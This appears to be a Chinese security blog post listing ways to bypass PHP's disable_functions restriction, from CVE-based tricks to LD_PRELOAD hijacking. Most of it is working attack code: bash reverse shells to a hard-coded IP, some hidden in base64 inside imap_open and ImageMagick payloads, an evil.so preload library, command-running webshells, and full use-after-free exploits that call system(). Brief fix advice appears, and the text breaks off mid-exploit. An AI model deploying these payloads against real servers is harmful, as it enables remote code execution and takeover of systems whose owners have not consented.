目录
目录环境搭建Bypass disable_functions 1. imap_open (CVE-2018-19518) 绕过2. ImageMagick(CVE-2016-3714)绕过 3. mail()函数 5. error_log5. Imagick 结合LD_PRELOAD的另一种用法6. pcntl_exec 7. Bypass with via mod_cgi 8. bypass with via LD_PRELOAD (感觉是最强大的方法)9. COM 组件 (WINDOWS 专属)10. 终极大杀器(自动化傻瓜,只支持类unix) 蚁剑扩展 2020年7月10更新10. php7.0-7.3垃圾回收器bug,适用于*inx11. json serializer UAF ,*nix12. debug_backtrace uaf,应用于php7.0-7.4的*nix系统13. php7.4 ffi.enable=true2022年1月12日更新14. PHP 7.0-8.0 user_filter15. PHP 7.3-8.1 concat_functionReference
环境搭建
docker:https://hub.docker.com/r/boosen/lnmp/tags
版本:ubuntu 14.04 + php5.6 + mysql 5.5 + nginx1.8
sudo wget -qO- https://get.docker.com|sh安装docker 最新版vim /etc/docker/daemon.json写入{ "registry-mirrors": ["https://registry.docker-cn.com"] }换源docker pull boosen/lnmp拉取lnmp环境docker container run -d -it -p 8081:80 --name xxx boosen/lnmp开启容器docker exec -it id /bin/bash进入容器
Bypass disable_functions
1. imap_open (CVE-2018-19518) 绕过
1.安装imap_open 扩展
xxxxxxxxxx711.apt-get install libc-client2007e-dev -y22.cd php源码/ext/imap33.phpize44../configure --with-php-config=/usr/local/php/bin/php-config --with-imap=/usr/lib64 --with-imap-ssl --with-kerberos55.make && make install66.echo "extension = imap.so" >> /usr/local/php/lib/php.ini76.service php-fpm restart
2.简单分析
根据https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb和https://www.codercto.com/a/43774.html:
- 当能够使用ssh时,imap会启动一个预认证模式,使用ssh协议进行认证,如果认证成功就不会建立一个imap连接,而是继续执行。
- 基于预认证模式,我们就可以通过ssh进行参数传递,这个参数就是mailbox,而ssh中有一个参数
-o,这个参数可以指定连接时的参数选项,如果我们指定ssh的另一个参数ProxyCommand,就可以通过这个参数执行命令。
3.payload构造
xxxxxxxxxx51<?php2$payload = "/bin/bash -i >& /dev/tcp/192.168.239.201/12345 0>&1";3$base64 = base64_encode($payload);4$server = "any -oProxyCommand=echo\t{$base64}|base64\t-d|bash";5@imap_open("{".$server."}:143/imap}INBOX","","");
4.修复
- php版本符合以下可以在php.ini设置:
xxxxxxxxxx11imap.enable_insecure_rsh "0" PHP_INI_SYSTEM Available as of PHP 7.1.25, 7.2.13 and 7.3.0. Formerly, it was implicitly enabled.
这样就可以禁止不安全的预认证
- 禁用
imap_open函数
2. ImageMagick(CVE-2016-3714)绕过
1.环境要求
imagick 版本<=6.9.3-9
2.简单分析
根据http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html简单分析:
- Imagick是一个图形处理库,支持的语言非常多,通过这个库可以对web图片进行裁剪、翻转等操作,但是由于其对https文件处理不当,导致我们可以执行命令。
- 在
/etc/ImageMagick-6/delegates.xml:
xxxxxxxxxx21<delegate decode="https" command=""curl" -s -k -L -o "%o" "http2s:%M""/>
如果对https形式的资源进行处理,导致我们可以通过命令拼接的方式command=curl -s -k -L -o "%o" "https:%M",通过|、&、`的方式进行命令的拼接,其中%M是占位符:
xxxxxxxxxx161%a authentication passphrase2%b image file size in bytes3%g image geometry4%h image rows (height)5%i input image filename6%# input image signature7%m input image format8%o output image filename9%p page number10%q input image depth11%s scene number12%u unique temporary filename13%w image columns (width)14%x input image x resolution15%y input image y resolution16
3.payload构造
vim poc.png写入以下内容
xxxxxxxxxx41push graphic-context2viewbox 0 0 640 4803fill 'url(https://example.com/1.jpg"|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM5LjIwMS8xMjM0NSAwPiYxCg==|base64 -d|bash")'4pop graphic-context
- 写一个上传页面upload.php(主要是用来调用
Imagick类的)
xxxxxxxxxx211<!doctype html>2<html lang="en">3<head>4<meta charset="UTF-8">5<title>upload</title>6</head>7<body>8<form action="" method="post" enctype="multipart/form-data">9<input type="file" name="file">10<input type="submit" value="submit">11</form>12</body>13<?php14$filename = $_FILES['file']['name'];15$type = substr($filename, strrpos($filename, '.')+1);16if ($type === "jpg" || $type === "png" || $type === "gif") {17move_uploaded_file($_FILES['file']['tmp_name'], $filename);18$imgObject = new Imagick($filename);19}20?>21</html>
- 上传文件
3.修复方法
- 升级Imagick到6.9.3-10及以上
- 使用
policy file来防御这个漏洞,这个文件默认位置在/etc/ImageMagick-6/policy.xml,我们通过配置如下的 xml 来禁止解析 https 等敏感操作:
xxxxxxxxxx51<policy domain="coder" rights="none" pattern="EPHEMERAL" />2<policy domain="coder" rights="none" pattern="URL" />3<policy domain="coder" rights="none" pattern="HTTPS" />4<policy domain="coder" rights="none" pattern="MVG" />5<policy domain="coder" rights="none" pattern="MSL" />
3. mail()函数
1. 环境要求
参考:https://xz.aliyun.com/t/3937
- cve-2014-6271(bash 破壳漏洞),不过太老了,这种 bash软件的漏洞发行版基本上痘修复了,所以不考虑
mail()、putenv()以及getenv()可用
2. payload构造
- 生成
evil.so,上传到/tmp/evil.so
xxxxxxxxxx221/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */23#include <stdlib.h>4#include <stdio.h>5#include <string.h>67void payload(char *cmd) {8char buf[512];9strcpy(buf, cmd);10strcat(buf, " > /tmp/_0utput.txt");11system(buf);12}1314int geteuid() {15char *cmd;16if (getenv("LD_PRELOAD") == NULL) { return 0; }17unsetenv("LD_PRELOAD");18if ((cmd = getenv("_evilcmd")) != NULL) {19payload(cmd);20}21return 1;22}
若是没启用或者不存在/usr/bin/sendmail这样的功能,还可以利用GCC的扩展修饰符:
若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行,而在PHP这里执行的前提是,我们需要新启动一个进程,因为共享库不是被系统自动加载的,而是新进程要求加载的
xxxxxxxxxx71#include <stdlib.h>2#include <string.h>3__attribute__((constructor))void payload() {4unsetenv("LD_PRELOAD");5const char* cmd = getenv("_evilcmd");6system(cmd);7}
- 写
shell.php
xxxxxxxxxx151<?php23$r1 = putenv("LD_PRELOAD=/tmp/evil.so");4echo "putenv: $r1 <br>";56$cmd = $_GET['cmd'];7$r2 = putenv("_evilcmd=$cmd");8echo "putenv: $r2 <br>";910$r3 = mail("[email protected]", "", "", "");11echo "mail: $r3 <br>";1213highlight_file("/tmp/_0utput.txt");1415?>
3. 修复方法
禁用putenv
5. error_log
1. 介绍 error_log 用来将错误消息发送到web日志或者系统文件中,但是有趣的地方在于该函数的第二个参数:message_type,根据官方文档描述:当message_type为1时,就会使用邮件发送消息,而使用的邮件也就是sendmail,所以这方法就和上一个:mail有点像了
2. payload构造
将共享库evil.so上传到/tmp目录
shell.php:
xxxxxxxxxx151<?php23$r1 = putenv("LD_PRELOAD=/tmp/evil.so");4echo "putenv: $r1 <br>";56$cmd = $_GET['cmd'];7$r2 = putenv("_evilcmd=$cmd");8echo "putenv: $r2 <br>";910$r3 = error_log('test', 1);11echo "mail: $r3 <br>";1213highlight_file("/tmp/_0utput.txt");1415?>
5. Imagick 结合LD_PRELOAD的另一种用法
1. 介绍
Imagick在处理ffpemg类型的文件时,会去调用外部处理程序,在对利用了Imagick的php文件进行strace追踪后,发现调用栈里面除了/usr/bin/php这个php的解释器外,还调用了/bin/sh来执行ffpemg命令,那么我们便可以劫持/bin/sh加载的共享对象了:
xxxxxxxxxx71#include <stdlib.h>2#include <string.h>3__attribute__((constructor))void payload() {4unsetenv("LD_PRELOAD");5const char* cmd = getenv("_evilcmd");6system(cmd);7}
6. pcntl_exec
1. 环境要求 phpinfo()中,编译带有--enable-pcntl
2. payload构造
xxxxxxxxxx101<?php2$cmd = @$_REQUEST[cmd];3if(function_exists('pcntl_exec')) {4$cmd = $cmd."&pkill -9 bash >out"; //执行完毕当前的命令。结束掉bash,方便下一次继续执行5pcntl_exec("/bin/bash", $cmd); //可能会造成假死。因为pcntl_exec一直处于等待的状态6highlight_file("out");7} else {8echo '不支持pcntl扩展';9}10?>
3. 修复方法
禁用pcntl_exec
7. Bypass with via mod_cgi
1. 环境要求
参考:http://0cx.cc/bypass_disabled_via_mod_cgi.jspx
apache服务器.htaccess文件可写mod_cgi模块启用chmod()没被禁用
2. payload构造
xxxxxxxxxx361<?php2$cmd = "/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1 2>&1"; //command to be executed3$shellfile = "#!/bin/bash\n"; //using a shellscript4$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output5$shellfile .= "$cmd"; //executing $cmd6function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter7{8echo "$text: " . ($condition ? $yes : $no) . "<br>\n";9}10if (!isset($_GET['checked']))11{12@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed13header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked14}15else16{17$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?18$writable = is_writable('.'); //current dir writable?19$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?20checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");21checkEnabled("Is writable",$writable,"Yes","No");22checkEnabled("htaccess working",$htaccess,"Yes","No");23if(!($modcgi && $writable && $htaccess))24{25echo "Error. All of the above must be true for the script to work!"; //abort if not26}27else28{29checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.30checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension31checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file32checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx33echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script34}35}36?>
8. bypass with via LD_PRELOAD (感觉是最强大的方法)
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
已经够详细了,就不画蛇添足了
9. COM 组件 (WINDOWS 专属)
1. 环境要求
extension = php_com_dotnet.dll- 搜索
phpinfo()是否有com_dotnet
2. payload构造
xxxxxxxxxx31<?php2$wscript = new COM('wscript.shell');3$wscript->Run("cmd.exe /c calc.exe");
3. 修复方法
禁用 COM组件:注释extension = php_com_dotnet.dll
10. 终极大杀器(自动化傻瓜,只支持类unix) 蚁剑扩展
https://github.com/AntSword-Store/as_bypass_php_disable_functions
2020年7月10更新
10. php7.0-7.3垃圾回收器bug,适用于*inx
xxxxxxxxxx2151<?php23# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)4#5# Bug: https://bugs.php.net/bug.php?id=725306#7# This exploit should work on all PHP 7.0-7.3 versions8#9# Author: https://github.com/mm0r11011pwn("uname -a");1213function pwn($cmd) {14global $abc, $helper;1516function str2ptr(&$str, $p = 0, $s = 8) {17$address = 0;18for($j = $s-1; $j >= 0; $j--) {19$address <<= 8;20$address |= ord($str[$p+$j]);21}22return $address;23}2425function ptr2str($ptr, $m = 8) {26$out = "";27for ($i=0; $i < $m; $i++) {28$out .= chr($ptr & 0xff);29$ptr >>= 8;30}31return $out;32}3334function write(&$str, $p, $v, $n = 8) {35$i = 0;36for($i = 0; $i < $n; $i++) {37$str[$p + $i] = chr($v & 0xff);38$v >>= 8;39}40}4142function leak($addr, $p = 0, $s = 8) {43global $abc, $helper;44write($abc, 0x68, $addr + $p - 0x10);45$leak = strlen($helper->a);46if($s != 8) { $leak %= 2 << ($s * 8) - 1; }47return $leak;48}4950function parse_elf($base) {51$e_type = leak($base, 0x10, 2);5253$e_phoff = leak($base, 0x20);54$e_phentsize = leak($base, 0x36, 2);55$e_phnum = leak($base, 0x38, 2);5657for($i = 0; $i < $e_phnum; $i++) {58$header = $base + $e_phoff + $i * $e_phentsize;59$p_type = leak($header, 0, 4);60$p_flags = leak($header, 4, 4);61$p_vaddr = leak($header, 0x10);62$p_memsz = leak($header, 0x28);6364if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write65# handle pie66$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;67$data_size = $p_memsz;68} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec69$text_size = $p_memsz;70}71}7273if(!$data_addr || !$text_size || !$data_size)74return false;7576return [$data_addr, $text_size, $data_size];77}7879function get_basic_funcs($base, $elf) {80list($data_addr, $text_size, $data_size) = $elf;81for($i = 0; $i < $data_size / 8; $i++) {82$leak = leak($data_addr, $i * 8);83if($leak - $base > 0 && $leak - $base < $data_addr - $base) {84$deref = leak($leak);85# 'constant' constant check86if($deref != 0x746e6174736e6f63)87continue;88} else continue;8990$leak = leak($data_addr, ($i + 4) * 8);91if($leak - $base > 0 && $leak - $base < $data_addr - $base) {92$deref = leak($leak);93# 'bin2hex' constant check94if($deref != 0x786568326e6962)95continue;96} else continue;9798return $data_addr + $i * 8;99}100}101102function get_binary_base($binary_leak) {103$base = 0;104$start = $binary_leak & 0xfffffffffffff000;105for($i = 0; $i < 0x1000; $i++) {106$addr = $start - 0x1000 * $i;107$leak = leak($addr, 0, 7);108if($leak == 0x10102464c457f) { # ELF header109return $addr;110}111}112}113114function get_system($basic_funcs) {115$addr = $basic_funcs;116do {117$f_entry = leak($addr);118$f_name = leak($f_entry, 0, 6);119120if($f_name == 0x6d6574737973) { # system121return leak($addr + 8);122}123$addr += 0x20;124} while($f_entry != 0);125return false;126}127128class ryat {129var $ryat;130var $chtg;131132function __destruct()133{134$this->chtg = $this->ryat;135$this->ryat = 1;136}137}138139class Helper {140public $a, $b, $c, $d;141}142143if(stristr(PHP_OS, 'WIN')) {144die('This PoC is for *nix systems only.');145}146147$n_alloc = 10; # increase this value if you get segfaults148149$contiguous = [];150for($i = 0; $i < $n_alloc; $i++)151$contiguous[] = str_repeat('A', 79);152153$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';154$out = unserialize($poc);155gc_collect_cycles();156157$v = [];158$v[0] = ptr2str(0, 79);159unset($v);160$abc = $out[2][0];161162$helper = new Helper;163$helper->b = function ($x) { };164165if(strlen($abc) == 79 || strlen($abc) == 0) {166die("UAF failed");167}168169# leaks170$closure_handlers = str2ptr($abc, 0);171$php_heap = str2ptr($abc, 0x58);172$abc_addr = $php_heap - 0xc8;173174# fake value175write($abc, 0x60, 2);176write($abc, 0x70, 6);177178# fake reference179write($abc, 0x10, $abc_addr + 0x60);180write($abc, 0x18, 0xa);181182$closure_obj = str2ptr($abc, 0x20);183184$binary_leak = leak($closure_handlers, 8);185if(!($base = get_binary_base($binary_leak))) {186die("Couldn't determine binary base address");187}188189if(!($elf = parse_elf($base))) {190die("Couldn't parse ELF header");191}192193if(!($basic_funcs = get_basic_funcs($base, $elf))) {194die("Couldn't get basic_functions address");195}196197if(!($zif_system = get_system($basic_funcs))) {198die("Couldn't get zif_system address");199}200201# fake closure object202$fake_obj_offset = 0xd0;203for($i = 0; $i < 0x110; $i += 8) {204write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));205}206207# pwn208write($abc, 0x20, $abc_addr + $fake_obj_offset);209write($abc, 0xd0 + 0x38, 1, 4); # internal func type210write($abc, 0xd0 + 0x68, $zif_system); # internal func handler211212($helper->b)($cmd);213214exit();215}
11. json serializer UAF ,*nix
xxxxxxxxxx317.1 - all versions to date27.2 < 7.2.19 (released: 30 May 2019)37.3 < 7.3.6 (released: 30 May 2019)
xxxxxxxxxx2531<?php23$cmd = "id";45$n_alloc = 10; # increase this value if you get segfaults67class MySplFixedArray extends SplFixedArray {8public static $leak;9}1011class Z implements JsonSerializable {12public function write(&$str, $p, $v, $n = 8) {13$i = 0;14for($i = 0; $i < $n; $i++) {15$str[$p + $i] = chr($v & 0xff);16$v >>= 8;17}18}1920public function str2ptr(&$str, $p = 0, $s = 8) {21$address = 0;22for($j = $s-1; $j >= 0; $j--) {23$address <<= 8;24$address |= ord($str[$p+$j]);25}26return $address;27}2829public function ptr2str($ptr, $m = 8) {30$out = "";31for ($i=0; $i < $m; $i++) {32$out .= chr($ptr & 0xff);33$ptr >>= 8;34}35return $out;36}3738# unable to leak ro segments39public function leak1($addr) {40global $spl1;4142$this->write($this->abc, 8, $addr - 0x10);43return strlen(get_class($spl1));44}4546# the real deal47public function leak2($addr, $p = 0, $s = 8) {48global $spl1, $fake_tbl_off;4950# fake reference zval51$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted52$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval53$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)5455$leak = strlen($spl1::$leak);56if($s != 8) { $leak %= 2 << ($s * 8) - 1; }5758return $leak;59}6061public function parse_elf($base) {62$e_type = $this->leak2($base, 0x10, 2);6364$e_phoff = $this->leak2($base, 0x20);65$e_phentsize = $this->leak2($base, 0x36, 2);66$e_phnum = $this->leak2($base, 0x38, 2);6768for($i = 0; $i < $e_phnum; $i++) {69$header = $base + $e_phoff + $i * $e_phentsize;70$p_type = $this->leak2($header, 0, 4);71$p_flags = $this->leak2($header, 4, 4);72$p_vaddr = $this->leak2($header, 0x10);73$p_memsz = $this->leak2($header, 0x28);7475if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write76# handle pie77$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;78$data_size = $p_memsz;79} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec80$text_size = $p_memsz;81}82}8384if(!$data_addr || !$text_size || !$data_size)85return false;8687return [$data_addr, $text_size, $data_size];88}8990public function get_basic_funcs($base, $elf) {91list($data_addr, $text_size, $data_size) = $elf;92for($i = 0; $i < $data_size / 8; $i++) {93$leak = $this->leak2($data_addr, $i * 8);94if($leak - $base > 0 && $leak - $base < $data_addr - $base) {95$deref = $this->leak2($leak);96# 'constant' constant check97if($deref != 0x746e6174736e6f63)98continue;99} else continue;100101$leak = $this->leak2($data_addr, ($i + 4) * 8);102if($leak - $base > 0 && $leak - $base < $data_addr - $base) {103$deref = $this->leak2($leak);104# 'bin2hex' constant check105if($deref != 0x786568326e6962)106continue;107} else continue;108109return $data_addr + $i * 8;110}111}112113public function get_binary_base($binary_leak) {114$base = 0;115$start = $binary_leak & 0xfffffffffffff000;116for($i = 0; $i < 0x1000; $i++) {117$addr = $start - 0x1000 * $i;118$leak = $this->leak2($addr, 0, 7);119if($leak == 0x10102464c457f) { # ELF header120return $addr;121}122}123}124125public function get_system($basic_funcs) {126$addr = $basic_funcs;127do {128$f_entry = $this->leak2($addr);129$f_name = $this->leak2($f_entry, 0, 6);130131if($f_name == 0x6d6574737973) { # system132return $this->leak2($addr + 8);133}134$addr += 0x20;135} while($f_entry != 0);136return false;137}138139public function jsonSerialize() {140global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;141142$contiguous = [];143for($i = 0; $i < $n_alloc; $i++)144$contiguous[] = new DateInterval('PT1S');145146$room = [];147for($i = 0; $i < $n_alloc; $i++)148$room[] = new Z();149150$_protector = $this->ptr2str(0, 78);151152$this->abc = $this->ptr2str(0, 79);153$p = new DateInterval('PT1S');154155unset($y[0]);156unset($p);157158$protector = ".$_protector";159160$x = new DateInterval('PT1S');161$x->d = 0x2000;162$x->h = 0xdeadbeef;163# $this->abc is now of size 0x2000164165if($this->str2ptr($this->abc) != 0xdeadbeef) {166die('UAF failed.');167}168169$spl1 = new MySplFixedArray();170$spl2 = new MySplFixedArray();171172# some leaks173$class_entry = $this->str2ptr($this->abc, 0x120);174$handlers = $this->str2ptr($this->abc, 0x128);175$php_heap = $this->str2ptr($this->abc, 0x1a8);176$abc_addr = $php_heap - 0x218;177178# create a fake class_entry179$fake_obj = $abc_addr;180$this->write($this->abc, 0, 2); # type181$this->write($this->abc, 0x120, $abc_addr); # fake class_entry182183# copy some of class_entry definition184for($i = 0; $i < 16; $i++) {185$this->write($this->abc, 0x10 + $i * 8,186$this->leak1($class_entry + 0x10 + $i * 8));187}188189# fake static members table190$fake_tbl_off = 0x70 * 4 - 16;191$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);192$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);193194# fake zval_reference195$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval196$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)197198# look for binary base199$binary_leak = $this->leak2($handlers + 0x10);200if(!($base = $this->get_binary_base($binary_leak))) {201die("Couldn't determine binary base address");202}203204# parse elf header205if(!($elf = $this->parse_elf($base))) {206die("Couldn't parse ELF");207}208209# get basic_functions address210if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {211die("Couldn't get basic_functions address");212}213214# find system entry215if(!($zif_system = $this->get_system($basic_funcs))) {216die("Couldn't get zif_system address");217}218219# copy hashtable offsetGet bucket220$fake_bkt_off = 0x70 * 5 - 16;221222$function_data = $this->str2ptr($this->abc, 0x50);223for($i = 0; $i < 4; $i++) {224$this->write($this->abc, $fake_bkt_off + $i * 8,225$this->leak2($function_data + 0x40 * 4, $i * 8));226}227228# create a fake bucket229$fake_bkt_addr = $abc_addr + $fake_bkt_off;230$this->write($this->abc, 0x50, $fake_bkt_addr);231for($i = 0; $i < 3; $i++) {232$this->write($this->abc, 0x58 + $i * 4, 1, 4);233}234235# copy bucket zval236$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);237for($i = 0; $i < 12; $i++) {238$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,239$this->leak2($function_zval, $i * 8));240}241242# pwn243$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);244$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);245246$spl1->offsetGet($cmd);247248exit();249}250}251252$y = [new Z()];253json_encode([&$y]);
12. debug_backtrace uaf,应用于php7.0-7.4的*nix系统
xxxxxxxxxx2201<?php234# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)5#6# Bug: https://bugs.php.net/bug.php?id=760477# debug_backtrace() returns a reference to a variable8# that has been destroyed, causing a UAF vulnerability.9#10# This exploit should work on all PHP 7.0-7.4 versions11# released as of 30/01/2020.12#1314# Author: https://github.com/mm0r11516pwn($_GET['cmd']);1718function pwn($cmd) {19global $abc, $helper, $backtrace;2021class Vuln {22public $a;23public function __destruct() {24global $backtrace;25unset($this->a);26$backtrace = (new Exception)->getTrace(); # ;)27if(!isset($backtrace[1]['args'])) { # PHP >= 7.428$backtrace = debug_backtrace();29}30}31}3233class Helper {34public $a, $b, $c, $d;35}3637function str2ptr(&$str, $p = 0, $s = 8) {38$address = 0;39for($j = $s-1; $j >= 0; $j--) {40$address <<= 8;41$address |= ord($str[$p+$j]);42}43return $address;44}4546function ptr2str($ptr, $m = 8) {47$out = "";48for ($i=0; $i < $m; $i++) {49$out .= chr($ptr & 0xff);50$ptr >>= 8;51}52return $out;53}5455function write(&$str, $p, $v, $n = 8) {56$i = 0;57for($i = 0; $i < $n; $i++) {58$str[$p + $i] = chr($v & 0xff);59$v >>= 8;60}61}6263function leak($addr, $p = 0, $s = 8) {64global $abc, $helper;65write($abc, 0x68, $addr + $p - 0x10);66$leak = strlen($helper->a);67if($s != 8) { $leak %= 2 << ($s * 8) - 1; }68return $leak;69}7071function parse_elf($base) {72$e_type = leak($base, 0x10, 2);7374$e_phoff = leak($base, 0x20);75$e_phentsize = leak($base, 0x36, 2);76$e_phnum = leak($base, 0x38, 2);7778for($i = 0; $i < $e_phnum; $i++) {79$header = $base + $e_phoff + $i * $e_phentsize;80$p_type = leak($header, 0, 4);81$p_flags = leak($header, 4, 4);82$p_vaddr = leak($header, 0x10);83$p_memsz = leak($header, 0x28);8485if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write86# handle pie87$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;88$data_size = $p_memsz;89} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec90$text_size = $p_memsz;91}92}9394if(!$data_addr || !$text_size || !$data_size)95return false;9697return [$data_addr, $text_size, $data_size];98}99100function get_basic_funcs($base, $elf) {101list($data_addr, $text_size, $data_size) = $elf;102for($i = 0; $i < $data_size / 8; $i++) {103$leak = leak($data_addr, $i * 8);104if($leak - $base > 0 && $leak - $base < $data_addr - $base) {105$deref = leak($leak);106# 'constant' constant check107if($deref != 0x746e6174736e6f63)108continue;109} else continue;110111$leak = leak($data_addr, ($i + 4) * 8);112if($leak - $base > 0 && $leak - $base < $data_addr - $base) {113$deref = leak($leak);114# 'bin2hex' constant check115if($deref != 0x786568326e6962)116continue;117} else continue;118119return $data_addr + $i * 8;120}121}122123function get_binary_base($binary_leak) {124$base = 0;125$start = $binary_leak & 0xfffffffffffff000;126for($i = 0; $i < 0x1000; $i++) {127$addr = $start - 0x1000 * $i;128$leak = leak($addr, 0, 7);129if($leak == 0x10102464c457f) { # ELF header130return $addr;131}132}133}134135function get_system($basic_funcs) {136$addr = $basic_funcs;137do {138$f_entry = leak($addr);139$f_name = leak($f_entry, 0, 6);140141if($f_name == 0x6d6574737973) { # system142return leak($addr + 8);143}144$addr += 0x20;145} while($f_entry != 0);146return false;147}148149function trigger_uaf($arg) {150# str_shuffle prevents opcache string interning151$arg = str_shuffle(str_repeat('A', 79));152$vuln = new Vuln();153$vuln->a = $arg;154}155156if(stristr(PHP_OS, 'WIN')) {157die('This PoC is for *nix systems only.');158}159160$n_alloc = 10; # increase this value if UAF fails161$contiguous = [];162for($i = 0; $i < $n_alloc; $i++)163$contiguous[] = str_shuffle(str_repeat('A', 79));164165trigger_uaf('x');166$abc = $backtrace[1]['args'][0];167168$helper = new Helper;169$helper->b = function ($x) { };170171if(strlen($abc) == 79 || strlen($abc) == 0) {172die("UAF failed");173}174175# leaks176$closure_handlers = str2ptr($abc, 0);177$php_heap = str2ptr($abc, 0x58);178$abc_addr = $php_heap - 0xc8;179180# fake value181write($abc, 0x60, 2);182write($abc, 0x70, 6);183184# fake reference185write($abc, 0x10, $abc_addr + 0x60);186write($abc, 0x18, 0xa);187188$closure_obj = str2ptr($abc, 0x20);189190$binary_leak = leak($closure_handlers, 8);191if(!($base = get_binary_base($binary_leak))) {192die("Couldn't determine binary base address");193}194195if(!($elf = parse_elf($base))) {196die("Couldn't parse ELF header");197}198199if(!($basic_funcs = get_basic_funcs($base, $elf))) {200die("Couldn't get basic_functions address");201}202203if(!($zif_system = get_system($basic_funcs))) {204die("Couldn't get zif_system address");205}206207# fake closure object208$fake_obj_offset = 0xd0;209for($i = 0; $i < 0x110; $i += 8) {210write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));211}212213# pwn214write($abc, 0x20, $abc_addr + $fake_obj_offset);215write($abc, 0xd0 + 0x38, 1, 4); # internal func type216write($abc, 0xd0 + 0x68, $zif_system); # internal func handler217218($helper->b)($cmd);219exit();220}
13. php7.4 ffi.enable=true
无回显
xxxxxxxxxx41<?php2$ffi = FFI::cdef("int system(char *command);");3$ffi->system("touch /tmp/test.txt");4?>
2022年1月12日更新
14. PHP 7.0-8.0 user_filter
利用的是php的一个bug:https://bugs.php.net/bug.php?id=54350
影响版本:
- 5.* - exploitable with minor changes to the PoC
- 7.0 - all versions to date
- 7.1 - all versions to date
- 7.2 - all versions to date
- 7.3 - all versions to date
- 7.4 < 7.4.26
- 8.0 < 8.0.13
xxxxxxxxxx2081<?php2# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)3#4# Bug: https://bugs.php.net/bug.php?id=543505# 6# This exploit should work on all PHP 7.0-8.0 versions7# released as of 2021-10-068#9# Author: https://github.com/mm0r110
11pwn('uname -a');12
13function pwn($cmd) {14 define('LOGGING', false);15 define('CHUNK_DATA_SIZE', 0x60);16 define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);17 define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);18 define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);19 define('CMD', $cmd);20 for($i = 0; $i < 10; $i++) {21 $groom[] = Pwn::alloc(STRING_SIZE);22 }23 stream_filter_register('pwn_filter', 'Pwn');24 $fd = fopen('php://memory', 'w');25 stream_filter_append($fd,'pwn_filter');26 fwrite($fd, 'x');27}28
29class Helper { public $a, $b, $c; }30class Pwn extends php_user_filter {31 private $abc, $abc_addr;32 private $helper, $helper_addr, $helper_off;33 private $uafp, $hfp;34
35 public function filter($in, $out, &$consumed, $closing) {36 if($closing) return;37 stream_bucket_make_writeable($in);38 $this->filtername = Pwn::alloc(STRING_SIZE);39 fclose($this->stream);40 $this->go();41 return PSFS_PASS_ON;42 }43
44 private function go() {45 $this->abc = &$this->filtername;46
47 $this->make_uaf_obj();48
49 $this->helper = new Helper;50 $this->helper->b = function($x) {};51
52 $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;53 $this->log("helper @ 0x%x", $this->helper_addr);54
55 $this->abc_addr = $this->helper_addr - CHUNK_SIZE;56 $this->log("abc @ 0x%x", $this->abc_addr);57
58 $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;59
